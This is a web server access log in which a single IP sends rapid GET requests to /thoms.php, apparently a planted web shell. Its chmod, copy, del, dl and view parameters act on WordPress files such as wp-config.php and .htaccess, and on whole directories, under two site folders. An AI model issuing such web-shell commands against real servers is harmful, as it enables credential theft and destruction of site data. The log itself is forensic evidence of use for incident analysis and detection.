45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=error_log&p=bestjudy.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12581 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=xmlrpc.php HTTP/1.1" 200 13374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=site-settings&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?chmod=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw&settings=1 HTTP/1.1" 200 11880 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=.well-known&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-activate.php HTTP/1.1" 200 14812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 17861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=error_log HTTP/1.1" 200 14699 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-load.php HTTP/1.1" 200 13662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 17871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 17866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?chmod=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-mail.php HTTP/1.1" 200 15343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=wp-includes&p=bestzyx.com.tw HTTP/1.1" 200 17861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?dl=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=wp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:10 -0400] "GET /thoms.php?del=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=error_log&p=bestzyx.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=.well-known&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12581 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13615 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=wp-content&p=bestzyx.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=locoy.php HTTP/1.1" 200 12948 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=cgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p= HTTP/1.1" 200 12195 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=wp-content&p=bestzyx.com.tw HTTP/1.1" 200 17871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=index.php HTTP/1.1" 200 12043 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=thoms.php HTTP/1.1" 200 11804 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?del=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=upgrade&p=bestzyx.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?dl=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?chmod=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:11 -0400] "GET /thoms.php?dl=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=optimized-validator&p=bestzyx.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=roster-vendor&p=bestzyx.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12191 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-config.php HTTP/1.1" 200 13712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?dl=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=readme.html HTTP/1.1" 200 15229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p= HTTP/1.1" 200 12154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=wp-admin&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?dl=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
